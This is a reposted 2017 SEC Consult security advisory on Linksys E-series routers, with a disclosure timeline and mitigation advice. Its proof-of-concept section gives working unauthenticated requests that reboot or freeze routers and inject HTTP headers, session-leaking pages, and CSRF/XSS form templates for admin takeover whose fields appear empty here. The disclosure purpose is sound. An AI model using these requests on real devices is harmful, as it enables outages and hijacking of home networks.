Linksys E Series – Multiple Vulnerabilities

Exploit Database
125 阅读

作者： SEC Consult

日期： 2017-10-18
类别：
- webapps
平台：
- cgi
来源：https://www.exploit-db.com/exploits/43013/

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SEC Consult Vulnerability Lab Security Advisory < 20171018-1 >

=======================================================================

title: Multiple vulnerabilities

product: Linksys E series, see "Vulnerable / tested versions"

vulnerable version: see "Vulnerable / tested versions"

fixed version: no public fix, see solution/timeline

CVE number: -

impact: high

homepage: http://www.linksys.com/

found: 2017-06-26

by: T. Weber (Office Vienna)

SEC Consult Vulnerability Lab

An integrated part of SEC Consult

Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow

Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

https://www.sec-consult.com

=======================================================================

Vendor description:

-------------------

"Today, Belkin International has three brands – Belkin, Linksys and WeMo

– to enhance the technology that connects us to the people, activities

and experiences we love. Belkin products are renowned for their

simplicity and ease of use, while our Linksys brand helped make

wireless connectivity mainstream around the globe. Our newest brand,

WeMo, is the leader in delivering customizable smart home experiences.

Its product platform empowers people to monitor, measure and manage

their electronics, appliances and lighting at home and on-the-go."

Source: http://www.belkin.com/uk/aboutUs/

Business recommendation:

------------------------

SEC Consult recommends not to use this product in a production environment

until a thorough security review has been performed by security

professionals and all identified issues have been resolved.

Vulnerability overview/description:

-----------------------------------

1) Denial of Service (DoS)

A denial of service vulnerability is present in the web server of the

device. This vulnerability is very simple to trigger since a single GET

request to a cgi-script is sufficient.

A crafted GET request, e.g. triggered by CSRF over a user in the

internal network, can reboot the whole device or freeze the web interface

and the DHCP service. This action does not require authentication.

2) HTTP Header Injection & Open Redirect

Due to a flaw in the web service a header injection can be triggered

without authentication. This kind of vulnerability can be used to perform

different arbitrary actions. One example in this case is an open redirection

to another web site. In the worst case a session ID of an authenticated user

can be stolen this way because the session ID is embedded into the url

which is another flaw of the web service.

3) Improper Session-Protection

The session ID for administrative users can be fetched from the device from

LAN without credentials because of insecure session handling.

This vulnerability can only be exploited when an administrator was

authenticated to the device before the attack and opened a session previously.

The login works if the attacker has the same IP address as the PC

of the legitimate administrator. Therefore, a CSRF attack is possible when

the administrator is lured to surf on a malicious web site or to click on

a malicious link.

4) Cross-Site Request Forgery Vulnerability in Admin Interface

A cross-site request forgery vulnerability can be triggered in the

administrative interface. This vulnerability can be exploited because the

session ID can be hijacked by using 3) via LAN. An exploitation via internet

is only possible if the session id is exposed to the internet (for example via

the referrer).

An attacker can change any configuration of the device by luring a user to

click on a malicious link or surf to a malicious web-site.

5) Cross-Site Scripting Vulnerability in Admin Interface

A cross-site scripting vulnerability can be triggered in the administrative

interface. This vulnerability can be exploited because the session ID can

be hijacked by using 3) via LAN. An exploitation via internet is only possible

if the session id is exposed to the internet (for example via the referrer).

By using this vulnerability, malicious code can be executed in the context of

the browser session of the attacked user.

Proof of concept:

-----------------

1) Denial of Service

Unauthenticated request for triggering a router reboot in browser:

http://<Router-IP>/upgrade.cgi

http://<Router-IP>/restore.cgi

Unauthenticated request for triggering a router freeze in browser:

http://<Router-IP>/mfgtst.cgi

2) HTTP Header Injection & Open Redirect

A header injection can be triggered by the following unauthenticated request:

Request:

------------------------------------------------------------------------------

POST /UnsecuredEnable.cgi HTTP/1.1

Host: <Router-IP>

Accept: */*

Accept-Language: en

Connection: close

Referer: http://<Router-IP>/Unsecured.cgi

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=INJEC%0d%0aTION&change_action=

------------------------------------------------------------------------------

Response:

------------------------------------------------------------------------------

HTTP/1.1 302 Redirect

Server: httpd

Date: Thu, 01 Jan 1970 00:27:41 GMT

Location: http://INJEC

TION

Content-Type: text/plain

Connection: close

------------------------------------------------------------------------------

Setting a new location will result in an open redirect:

Request:

------------------------------------------------------------------------------

POST /UnsecuredEnable.cgi HTTP/1.1

Host: <Router-IP>

Accept: */*

Accept-Language: en

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=www.sec-consult.com&change_action=

------------------------------------------------------------------------------

Response:

------------------------------------------------------------------------------

HTTP/1.1 302 Redirect

Server: httpd

Date: Thu, 01 Jan 1970 00:27:57 GMT

Location: http://www.sec-consult.com

Content-Type: text/plain

Connection: close

------------------------------------------------------------------------------

3) Improper Session-Protection

These two requests can be used to fetch the current session ID of an authenticated

user.

http://<Device-IP>/BlockTime.asp

http://<Device-IP>/BlockSite.asp

The response is nearly the same (except the "inetblock" and "blocksite"

functions):

-------------------------------------------------------------------------------

HTTP/1.1 200 Ok

Server: httpd

Date: Thu, 01 Jan 1970 00:04:32 GMT

Cache-Control: no-cache

Pragma: no-cache

Expires: 0

Content-Type: text/html

[...]

function init()

{

var close_session = "0";

if ( close_session == "1" )

{

document.forms[0].action= "hndUnblock.cgi";

}

else

{

document.forms[0].action= "hndUnblock.cgi?session_id=<Session-ID>";

}

</script>

</head>

<h1><span><script>Capture(hndmsg.blocksite)</script>

</span>

</h1>

</div>

[...]

</body>

</html>

-------------------------------------------------------------------------------

4) Cross-Site Request Forgery Vulnerability in Admin Interface

The following proof of concept HTML code can change the router password by

exploiting CSRF after replacing the <Session-ID> with the fetched one from 3).

The new password is "secconsult".

-------------------------------------------------------------------------------

<html>

<body>

<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">

</form>

</body>

</html>

-------------------------------------------------------------------------------

5) Cross-Site Scripting Vulnerability in Admin Interface

The <Session-ID> must be replaced again. The "apply.cgi" script can be abused

to trigger the cross-site scripting vulnerability.

-------------------------------------------------------------------------------

<html>

<body>

<form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">

</form>

</body>

</html>

-------------------------------------------------------------------------------

Vulnerable / tested versions:

-----------------------------

Linksys E2500 - 3.0.02 (build 2)

According to the Linksys security contact the following products are

affected too:

Linksys E900 (Version: 1.0.06)

Linksys E1200 (Version: 2.0.07 Build 5)

Linksys E8400 AC2400 Dual-Band Wi-Fi Router (Version: basic version ?)

Based on information embedded in the firmware of other Linksys products

gathered from our IoT Inspector tool we believe the following devices

are affected as well:

Linksys E900 (Version: 1.0.06)-- confirmed by vendor

Linksys E900-ME (Version: 1.0.06)

Linksys E1200 (Version: 2.0.07 Build 5) -- confirmed by vendor

Linksys E1500 (Version: 1.0.06 Build 1)

Linksys E3200 (Version: 1.0.05 Build 2)

Linksys E4200 (Version: 1.0.06 Build 3)

Linksys WRT54G2 (Version: 1.5.02 Build 5)

Vendor contact timeline:

------------------------

2017-07-10: Contacting vendor through security@linksys.com. Set release date

to 2017-08-29.

2017-07-12: Confirmation of recipient. The contact also states that

the unit is older and they have to look for it.

2017-08-07: Asking for update; Contact responds that they have to look for

such a unit in their inventory.

2017-08-08: Contact responds that he verified three of four vulnerabilities.

2017-08-09: Sent PCAP dump and more information about vulnerability #4 to

assist the contact with verification.

2017-08-18: Sending new advisory version to contact and asking for an update;

No answer.

2017-08-22: Asking for an update; Contact states that he is trying to get a

fixed firmware from the OEM.

2017-08-24: Asked the vendor how much additional time he will need.

2017-08-25: Vendor states that it is difficult to get an update from the OEM

due to the age of the product ("Many of the engineers who

originally worked on this code base are no longer with the

company"). Clarified some CORS/SOP issues which were

misunderstood.

2017-08-30: Sending Proof of Concept for CSRF/XSS as HTML files to the vendor.

Changed the vulnerability description of the advisory to

explain the possibility of exploiting the CSRF/XSS vulnerabilities

from LAN and WAN side.

2017-09-07: Asking for an update; Vendor agrees with the new vulnerability

descriptions and states that the OEM got back to them with a fix

for the E2500 and they are in the QA phase. The vendor is expecting

fixes for E900, E1200, and E8400 later this week or next week to

hand them over to QA.

2017-09-07: Stated that E8400 was not found by the IoT Inspector because there

was no firmware available to download online. Stated that it will

be available in the next version of the advisory. Shifting the

advisory release to 2017-09-26.

Asking for confirmation of the other reported devices:

Linksys E900-ME (Version: 1.0.06)

Linksys E1500 (Version: 1.0.06 Build 1)

Linksys E3200 (Version: 1.0.05 Build 2)

Linksys E4200 (Version: 1.0.06 Build 3)

Linksys WRT54G2 (Version: 1.5.02 Build 5)

No answer.

2017-09-18: Sending new version of the advisory to the vendor. Asking for an

update; No answer.

2017-09-21: Asking for an update; No answer.

2017-09-26: Asking for an update; No answer.

2017-10-02: Asking for an update and shifting the advisory release to

2017-10-09; No answer.

2017-10-16: Informing the vendor that the advisory will be released on

2017-10-18 because vendor is unresponsive.

2017-10-18: Public release of security advisory

Solution:

---------

Upgrade to new firmware version as soon as the vendor publishes it.

Workaround:

-----------

Restrict network access to the device.

Advisory URL:

-------------

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult

Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow

Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It

ensures the continued knowledge gain of SEC Consult in the field of network

and application security to stay ahead of the attacker. The SEC Consult

Vulnerability Lab supports high-quality penetration testing and the evaluation

of new offensive and defensive technologies for our customers. Hence our

customers obtain the most current information about vulnerabilities and valid

recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF T. Weber / @2017